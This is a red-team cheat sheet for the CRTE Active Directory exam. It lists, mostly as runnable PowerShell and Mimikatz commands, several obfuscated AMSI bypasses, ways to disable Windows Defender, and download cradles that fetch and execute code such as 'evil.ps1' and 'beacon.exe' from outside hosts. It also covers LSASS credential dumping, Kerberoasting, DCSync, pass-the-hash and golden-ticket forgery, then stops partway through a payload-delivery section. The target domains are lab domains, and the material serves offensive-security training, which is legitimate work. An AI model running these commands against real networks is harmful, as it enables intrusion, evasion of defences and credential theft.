> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/active-directory/crte/crte-cheat-sheet-1.md).

# CRTE Cheat Sheet

## CRTE Cheat Sheet

> Certified Red Team Expert — commands, approach, and theory. Two parts: **Part 1 — Commands & Approach** (the operational playbook) and **Part 2 — Science & Theory** (the "why" behind each technique).

***

### Table of Contents

#### Part 1 — Commands & Approach

* Execution Policy & AMSI Bypass
* Disable Windows Defender & AMSI
* PowerShell Download Cradles
* Domain Enumeration
* Kerberoasting
* Targeted Kerberoasting
* LAPS
* Extracting Credentials from LSASS
* Invoke-Mimikatz for Offensive Security
* Mimikatz Cheat Sheet
* OverPass-The-Hash
* DCSync
* Offensive .NET — Payload Delivery
* gMSA
* Unconstrained Delegation
* Constrained Delegation (Protocol Transition)
* Constrained Delegation (Resource-Based)
* Constrained Delegation (Kerberos Only)
* Golden Ticket
* Silver Ticket
* Diamond Ticket
* Skeleton Key
* DSRM
* Custom SSP
* AdminSDHolder
* Persistence using ACLs — Rights Abuse
* Persistence using ACLs — Security Descriptors
* Cross Domain Attacks — AD CS
* Shadow Credentials
* Attacking Azure AD (PHS)
* SID History
* Child to Forest Root — Trust Key
* Child to Forest Root — krbtgt
* Cross Forest Attacks — Trust Key
* Trust Abuse — MSSQL Servers
* Cross Forest Attacks — Foreign Security Principals
* Abusing PAM Trust
* Commands I Worked On

#### Part 2 — Science & Theory

* PowerShell Detections
* Domain Trusts & Trust Types
* OUs
* GPOs
* ACL vs Security Descriptor
* ACLs
* Global Catalog
* Do You Need Admin Privileges for Rubeus?
* PowerShell Remoting
* Kerberos Authentication (Step by Step)
* Kerberos vs KRBTGT
* Kerberoasting (Theory)
* Targeted Kerberoasting (Theory)
* Account Operators Group
* LAPS (Theory)
* OverPass-The-Hash (Theory)
* DCSync (Theory)
* gMSA (Theory)
* Unconstrained Delegation (Theory)
* PrinterBug
* Constrained Delegation (Theory)
* S4U2Self & S4U2Proxy
* msDS-AllowedToDelegateTo
* Resource-Based Constrained Delegation (Theory)
* Constrained Delegation Kerberos Only (Theory)
* Golden Ticket (Theory)
* Silver Ticket (Theory)
* Diamond Ticket (Theory)
* Skeleton Key (Theory)
* DSRM (Theory)
* Custom SSP (Theory)
* AdminSDHolder (Theory)
* Cross Domain — AD CS (Theory)
* Shadow Credentials (Theory)
* Azure AD (Theory)
* SID History (Theory)
* MSSQL Servers (Theory)
* Foreign Security Principals (Theory)
* PAM Trust (Theory)

***

## Part 1 — Commands & Approach

### Execution Policy & AMSI Bypass

#### Execution Policy bypass

```powershell
powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"
```

If none worked, check this out: <https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/>

#### AMSI bypass

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
```

**This one worked well:**

```powershell
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
```

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

If none worked, take a walk here: <https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file> · <https://amsi.fail/>

***

### Disable Windows Defender & AMSI

> Needs admin privileges.

```powershell
Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true

## disable all defender scans
Set-MpPreference -DisableIOAVProtection $true -DisableScriptScanning $true -DisableArchiveScanning $true

## disable from registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force
```

***

### PowerShell Download Cradles

Reference: <https://gist.github.com/HarmJ0y/bb48307ffa663256e239>

```powershell
# 1. Basic IEX download string
iex (New-Object Net.WebClient).DownloadString('http://example.com/script.ps1')

# 2. Memory-Based Execution (Avoids Disk)
$r=[System.Reflection.Assembly]::Load([byte[]](iwr 'https://example.com/tool.dll' -UseBasicParsing).Content); $r.EntryPoint.Invoke($null,$null)

# 4. AMSI Bypass + Download Cradle (Evasion)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true); iex (irm 'http://example.com/amsi_bypassed.ps1')

# 5. Reflective PE Loader (For C2 Tools)
$bytes=(iwr 'http://example.com/beacon.exe' -UseBasicParsing).Content; $asm=[System.Reflection.Assembly]::Load($bytes); $asm.EntryPoint.Invoke($null,@($null))

# 6. InternetExplorer COM object
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1 ');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

# 7. PSv3 onwards
iex (iwr 'http://192.168.230.1/evil.ps1')

# 8. Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex $h.responseText

# 9. System.Net.WebRequest
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
```

**Bypassing PowerShell Security Using Invisi-Shell:**

* With admin privileges: `RunWithPathAsAdmin.bat`
* With non-admin privileges: `RunWithRegistryNonAdmin.bat`

***

### Domain Enumeration

We can do domain enumeration in a few ways:

1. ADModule and PowerView
2. BloodHound
3. SharpView — but it does not support the pipeline: <https://github.com/tevora-threat/SharpView/>

#### Domain enumeration with ADModule and PowerView

```powershell
Import-Module "C:\Users\student\Desktop\Tools\FsKnockouT-Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll" -Force
Import-Module "C:\Users\student\Desktop\Tools\FsKnockouT-Tools\ADModule-master\Import-ActiveDirectory.ps1" -Force
### import PowerView with the same command
```

And you're ready to go.

#### Domain enumeration with BloodHound

You need to run the collector on the machine and get the data to analyze on your Kali. Supply data to BloodHound (remember to bypass .NET AMSI): import the PS1 module with dot sourcing.

```powershell
. C:\AD\Tools\BloodHound-master\Collectors\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# OR
SharpHound.exe
```

To make BloodHound collection stealthy, use the `-Stealth` option:

```powershell
Invoke-BloodHound -Stealth
# OR
SharpHound.exe --stealth
```

To avoid detections like MDI:

```powershell
Invoke-BloodHound -ExcludeDCs
```

Now get the zip files and analyze on the Kali machine.

Cheat sheets for PowerView:

* <https://gist.github.com/WhatWouldJerryDo/f7334dcd1c8cd51b5d01ae107e747acd>
* <https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf>
* <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>
* <https://gist.github.com/macostag/44591910288d9cc8a1ed6ea35ac4f30f>

**Get the current domain:**

```powershell
Get-Domain
Get-ADDomain
```

**Specify the domain you want to hunt in:**

```powershell
Get-Domain -Domain north.sevenkingdoms.local
Get-ADDomain -Identity north.sevenkingdoms.local
```

**Get the current domain SID:**

```powershell
Get-DomainSID
(Get-ADDomain).DomainSID
```

**Get domain policy for the current domain:**

```powershell
Get-DomainPolicyData
(Get-DomainPolicyData).systemaccess
```

**Get domain controllers for the current domain:**

```powershell
Get-DomainController
Get-ADDomainController
```

**Get domain controllers for another domain:**

```powershell
Get-DomainController -Domain north.sevenkingdoms.local
Get-ADDomainController -DomainName sevenkingdoms.local -Discover
```

**Get a list of users in the current domain:**

```powershell
Get-DomainUser
Get-DomainUser -Identity studentuser1
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity studentuser1 -Properties *
```

**Properties of users in the current domain — very useful for situational awareness:**

```powershell
Get-DomainUser -Identity studentuser1 -Properties *
Get-DomainUser -Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

**Search for a particular string in a user's attributes:**

```powershell
Get-DomainUser -LDAPFilter "Description=*built*" | Select name,Description
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
```

**Get a list of computers in the current domain:**

```powershell
Get-DomainComputer | select Name
Get-DomainComputer -OperatingSystem "Windows Server 2019 Standard"
Get-DomainComputer -Ping
```

**Get all the groups in the current domain:**

```powershell
Get-DomainGroup | select Name
Get-DomainGroup -Domain techcorp.local
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
```

**Get all groups containing the word "admin" in group name:**

```powershell
Get-DomainGroup *admin*
Get-DomainGroup *admin* | select name
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

**Get all the members of the Domain Admins group:**

```powershell
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-ADGroupMember -Identity "Domain Admins" -Recursive
```

**Get the group membership for a user:**

```powershell
Get-DomainGroup -UserName student
Get-ADPrincipalGroupMembership -Identity studentuser1
```

**Get all the local groups on a machine:**

```powershell
Get-NetLocalGroup -ComputerName us-dc
```

**Get members of all local groups on a machine:**

```powershell
Get-NetLocalGroupMember -ComputerName us-dc
```

**Get members of the local group "Administrators" on a machine:**

```powershell
Get-NetLocalGroupMember -ComputerName CASTLEBLACK -GroupName Administrators
```

**Enumerate the domain group policy:**

```powershell
Get-DomainGPO
Get-DomainGPO -ComputerIdentity student1.us.techcorp.local
```

**Get GPO(s) which use Restricted Groups or groups.xml for interesting users:**

```powershell
Get-DomainGPOLocalGroup
Get-DomainGPO -ComputerIdentity WINTERFELL | Select-Object DisplayName
Get-DomainGPO -ComputerIdentity WINTERFELL | Format-List *
```

**Get users which are in a local group of a machine using GPO:**

```powershell
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity student1.us.techcorp.local
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity us-mgmt.us.techcorp.local
```

**Get machines where the given user is member of a specific group:**

```powershell
Get-DomainGPOUserLocalGroupMapping -Identity studentuser1 -Verbose
```

**Get OUs in a domain:**

```powershell
Get-DomainOU
Get-ADOrganizationalUnit -Filter * -Properties *
```

**Get GPO applied on an OU. Read GPOname from gplink attribute from `Get-DomainOU`:**

```powershell
Get-DomainOU
Get-DomainGPO -Identity '{7162874B-E6F0-45AD-A3BF0858DA4FA02F}'
```

**Get users which are in a local group of a machine in any OU using GPO:**

```powershell
(Get-DomainOU).distinguishedname | %{Get-DomainComputer -SearchBase $_} | Get-DomainGPOComputerLocalGroupMapping
```

**Get users which are in a local group of a machine in a particular OU using GPO:**

```powershell
(Get-DomainOU -Identity 'OU=Mgmt,DC=us,DC=techcorp,DC=local').distinguishedname | %{GetDomainComputer -SearchBase $_} | GetDomainGPOComputerLocalGroupMapping
# There is a bug in PowerView, otherwise the below command would work:
Get-DomainGPOComputerLocalGroupMapping -OUIdentity 'OU=Mgmt,DC=us,DC=techcorp,DC=local'
```

**Get the ACLs associated with a specified object:**

```powershell
Get-DomainObjectAcl -Identity student -ResolveGUIDs
```

**Get the ACLs associated with the specified LDAP path to be used for search:**

```powershell
Get-DomainObjectAcl -SearchBase "LDAP://CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local" -ResolveGUIDs -Verbose
Get-DomainObjectAcl -Identity "CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local" -ResolveGUIDs -Verbose
```

**Important — ADModule command that retrieves and displays the access control permissions for the built-in Administrator account in AD, formatted as a compact table:**

```powershell
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local').Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType, IsInherited -AutoSize
```

Similar to this one:

```powershell
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local').Access | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, ObjectType, InheritanceFlags | Format-List
```

**This one needs more formatting (work on it later):**

```powershell
Get-ADObject -Filter * -Properties nTSecurityDescriptor | % { $o=$_; $_.nTSecurityDescriptor.Access | % { [PSCustomObject]@{Target=$o.Name;Trustee=$_.IdentityReference;Rights=$_.ActiveDirectoryRights;Type=$_.AccessControlType;AppliesTo=if($_.ObjectType -eq '00000000-0000-0000-0000-000000000000'){'All'}else{$_.ObjectType}} } } | ft -AutoSize
```

**Search for interesting ACEs (use without GUIDs for faster result):**

```powershell
Find-InterestingDomainAcl -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs | Format-Table
```

**Not working — need to find a way to make it work:**

```powershell
Find-InterestingDomainAcl | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner' -and $_.AccessControlType -eq 'Allow' } | Select-Object ObjectDN,IdentityReference,ActiveDirectoryRights,IsInherited | Format-Table -AutoSize
```

**Get the ACLs associated with the specified path:**

```powershell
Get-PathAcl -Path "\\us-dc\sysvol"
```

**Get a list of all domain trusts for the current domain:**

```powershell
Get-DomainTrust
Get-DomainTrust -Domain north.sevenkingdoms.local
```

**Modified command:**

```powershell
Get-ADTrust -Identity sevenkingdoms.local -Properties * | Select-Object Name,Direction,ForestTransitive,IntraForest,@{N='TrustType';E={$_.TrustType}},@{N='TrustAttributes';E={$_.TrustAttributes}},@{N='SIDFiltering';E={$_.TrustAttributes -contains '2'}},@{N='SelectiveAuth';E={$_.TrustAttributes -contains '8'}},Source,Target,@{N='Created';E={$_.WhenCreated}},@{N='Modified';E={$_.WhenChanged}},DistinguishedName,ObjectGUID | Format-List
```

**Get details about the current forest:**

```powershell
Get-Forest
Get-ADForest
```

**Get all domains in the current forest:**

```powershell
Get-ForestDomain
(Get-ADForest).Domains
```

**Enumerate the global catalog — get all global catalogs for the current forest:**

```powershell
Get-ForestGlobalCatalog
Get-ADForest | select -ExpandProperty GlobalCatalogs
Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name
Get-ADTrust -Filter {IntraForest -eq $false} -Server (Get-ADForest).Name
```

**Find all machines on the current domain where the current user has local admin access (PowerView):**

```powershell
Find-LocalAdminAccess -Verbose
```

This function queries the DC of the current or provided domain for a list of computers (`Get-DomainComputer`) and then uses multi-threaded `Test-AdminAccess` on each machine. This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases where ports (RPC and SMB) used by `Find-LocalAdminAccess` are blocked. See `Find-WMILocalAdminAccess.ps1` and `FindPSRemotingLocalAdminAccess.ps1`.

**Find computers where a domain admin (or specified user/group) has sessions:**

```powershell
Find-DomainUserLocation -Verbose
Find-DomainUserLocation -UserGroupIdentity "StudentUsers"
```

**This will hunt for the user, not the group:**

```powershell
Get-NetSession -ComputerName (Get-NetComputer) | Where-Object { $_.UserName -like "*student*" } | Select-Object UserName, ComputerName, IPAddress, IdleTime | Format-Table -AutoSize
```

**Find computers where a domain admin session is available and current user has admin access (uses `Test-AdminAccess`):**

```powershell
Find-DomainUserLocation -CheckAccess
```

**Find computers (File Servers and Distributed File servers) where a domain admin session is available:**

```powershell
Find-DomainUserLocation -Stealth
```

#### PowerShell Remoting (WinRM) — interactive & persistent remote management

```powershell
New-PSSession
Enter-PSSession
```

**Enable PowerShell remoting:**

```powershell
Enable-PSRemoting -Force
```

**Beware the firewall may get in your way, so use this:**

```powershell
# Check current profile
Get-NetConnectionProfile | Select-Object Name, NetworkCategory
# Change to Private (if safe)
Set-NetConnectionProfile -NetworkCategory Private
# Retry enabling WinRM
Enable-PSRemoting -Force
# Allow WinRM on all profiles (less secure)
netsh advfirewall firewall add rule name="WinRM-HTTP" dir=in action=allow protocol=TCP localport=5985
```

Also beware the user you're trying to log in with should be in the remote logins group on the machine you want to log in on. The previous was one-to-one; the following is one-to-many:

```powershell
Invoke-Command -Scriptblock {hostname} -ComputerName student.north.sevenkingdoms.local
```

**This one is very important as it uses NTLM auth instead of Kerberos:**

```powershell
Invoke-Command -ComputerName winterfell.north.sevenkingdoms.local -ScriptBlock {hostname} -Authentication Negotiate -Credential (Get-Credential)
```

**Execute commands or scriptblocks:**

```powershell
Invoke-Command -Scriptblock {Get-Process} -ComputerName north.sevenkingdoms.local
```

**Execute scripts from files on remote computers:**

```powershell
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
```

**Execute locally loaded function on the remote machines:**

```powershell
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>)
```

**Passing arguments (only positional arguments could be passed this way):**

```powershell
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) -ArgumentList
```

**Execute "Stateful" commands using Invoke-Command:**

```powershell
$Sess = New-PSSession -Computername castelblack.north.sevenkingdoms.local
Invoke-Command -Session $Sess -ScriptBlock {whoami}
```

```powershell
$Sess = New-PSSession -Computername Server1
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}
```

**This one is important if winrs is not working for you:**

```powershell
$cred = Get-Credential -UserName "north.sevenkingdoms.local\student" -Message "Enter Password"
Enter-PSSession -ComputerName student.north.sevenkingdoms.local -Credential $cred
```

**To do it with winrs:**

```cmd
winrs -remote:server1 -u:server1\administrator p:Pass@1234 hostname
```

**Quick note — why winrs fails for you:** PowerShell Remoting (`Enter-PSSession`) and `winrs` both use **WinRM**, but they handle authentication differently:

* **PowerShell Remoting** uses **Kerberos** by default (more secure, works in domains).
* **`winrs`** may default to **Basic Authentication**, which is often restricted.

Remember that we use winrs to evade script block logging and transcription, but all this can be bypassed with Invisi-Shell. You can leverage COM objects by using the following tools: <https://github.com/bohops/WSMan-WinRM>

***

### Kerberoasting

**1. Find user accounts used as service accounts:**

```powershell
## ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
## PowerView
Get-DomainUser -SPN
```

**2. Use Rubeus to list Kerberoast stats:**

```powershell
Rubeus.exe kerberoast /stats
```

**3. Use Rubeus to request a TGS:**

```powershell
Rubeus.exe kerberoast /user:serviceaccount /simple
```

**To avoid detections based on Encryption Downgrade for Kerberos EType** (used by likes of MDI — `0x17` stands for rc4-hmac), look for Kerberoastable accounts that only support `RC4_HMAC`:

```powershell
Rubeus.exe kerberoast /stats /rc4opsec
Rubeus.exe kerberoast /user:serviceaccount /simple /rc4opsec
```

**Kerberoast all possible accounts:**

```powershell
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
```

**Another approach for Kerberoasting** (<https://github.com/nidem/kerberoast>) — `GetUserSpns.ps1`, then use the following commands:

```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
## Extract the acquired tickets from RAM with Mimikatz
mimikatz # kerberos::list /export
## crack the hashes in the tkt with the following command
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
## or simply use
kirbi2john 3-40a10000-jeor.mormont@kadmin~changepw-NORTH.SEVENKINGDOMS.LOCAL.kirbi > hash.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
```

***

### Targeted Kerberoasting

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "StudentUsers"}
```

**Search for dangerous permissions granted to a user named student:**

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "student" -and $_.IdentityReferenceName -notmatch "StudentUsers" }
```

**Using PowerView, see if the user already has a SPN:**

```powershell
Get-DomainUser -Identity support1user | select serviceprincipalname
```

**Using ActiveDirectory module:**

```powershell
Get-ADUser -Identity support1user -Properties ServicePrincipalName | select ServicePrincipalName
```

**Set a SPN for the user (unique for the forest):**

```powershell
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='us/myspnX'}
```

**Using ActiveDirectory module:**

```powershell
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='us/myspnX'}
```

**Kerberoast the user:**

```powershell
Rubeus.exe kerberoast /outfile:targetedhashes.txt
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt
```

***

### LAPS

**1. PowerView command to find users who can read LAPS passwords (clear-text local admin passwords) in specified OUs:**

```powershell
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
```

**2. You'll have to import two modules:**

```powershell
Import-Module C:\Users\student\Desktop\Tools\FsKnockouT-Tools\AdmPwd.PS
.\Get-LAPSPermissions.ps1
```

**3. Once we compromise the user which has the rights, use the following to read clear-text passwords:**

PowerView:

```powershell
Get-DomainObject -Identity <targetmachine$> | select -ExpandProperty ms-mcs-admpwd
```

ActiveDirectory module:

```powershell
Get-ADComputer -Identity <targetmachine> -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd
```

LAPS module:

```powershell
Get-AdmPwdPassword -ComputerName <targetmachine>
```

***

### Extracting Credentials from LSASS

Dump credentials on a local machine using Mimikatz. Other tools: <https://github.com/deepinstinct/Lsass-Shtinkering> · <https://www.linkedin.com/pulse/50-methods-lsass-dumprtc0002-ayman-khder/>

```powershell
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

### Using SafetyKatz (Minidump of lsass and PELoader to run Mimikatz)
SafetyKatz.exe
privilege::debug
sekurlsa::ekeys

### Dump credentials using SharpKatz (C# port of some Mimikatz functionality)
SharpKatz.exe --Command ekeys

### Dump credentials using Dumpert (Direct System Calls and API unhooking)
rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump

### Using pypykatz (Mimikatz functionality in Python)
pypykatz.exe live lsa

### Using comsvcs.dll
tasklist /FI "IMAGENAME eq lsass.exe"
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump C:\Users\Public\lsass.dmp full
```

***

### Invoke-Mimikatz for Offensive Security

```powershell
### Directly Load from Memory (Most Common)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

### Save and Import Locally
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1" -OutFile "Invoke-Mimikatz.ps1"
# Import the module
Import-Module .\Invoke-Mimikatz.ps1

### Dump LSASS Credentials (All Logged-In Users)
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
```

***

### Mimikatz Cheat Sheet

```
#general
privilege::debug
log
log customlogfilename.log

#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

#kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

#crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export

#vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

#pth
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

#ekeys
sekurlsa::ekeys

#dpapi
sekurlsa::dpapi

#minidump
sekurlsa::minidump lsass.dmp

#ptt
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

#golden/silver
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

#tgt
kerberos::tgt

#purge
kerberos::purge

## extracting Dump files
sekurlsa::minidump C:\AD\tools\lsass.DMP
```

***

### OverPass-The-Hash

Over Pass the Hash (OPtH) generates tokens from hashes or keys. Needs elevation (Run as administrator).

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256: /run:powershell.exe"'
SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:us.techcorp.local /aes256: /run:cmd.exe" "exit"

### Below doesn't need elevation
Rubeus.exe asktgt /user:administrator /rc4: /ptt

### Below command needs elevation
Rubeus.exe asktgt /user:administrator /aes256: /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

After that you need to confirm that you got the ticket by typing `klist`, and obtain a remote session by any of the following commands:

```powershell
runas /netonly /user:north\jeor.mormont powershell.exe
.\PsExec.exe \\castelblack cmd.exe
Enter-PSSession -ComputerName castelblack -Authentication Kerberos
```

***

### DCSync

**Prerequisites:** Requires `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights.

**Identify a target account with replication rights (always the krbtgt account):**

```powershell
Get-ObjectAcl -Identity "dc=north,dc=sevenkingdoms,dc=local" -ResolveGUIDs |
? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') }
```

**To use the DCSync feature for getting the krbtgt hash, execute the below command with DA privileges for the us domain:**

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
### SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"

### Dump all user hashes:
mimikatz.exe "lsadump::dcsync /domain:north.sevenkingdoms.local /all"

### Dump specific user
mimikatz.exe "lsadump::dcsync /domain:north.sevenkingdoms.local /user:Administrator"
```

***

### Offensive .NET — Payload Delivery

We can use NetLoader (<https://github.com/Flangvik/NetLoader>) to deliver our binary payloads. It can be used to load a binary from a filepath or URL and patch AMSI & ETW while executing.

```powershell
### this one works fine
C:\Users\Public\Loader.exe -path http://192.168.56.130/FsKnockouT-Tools/Loader.exe

### this one didn't work with me
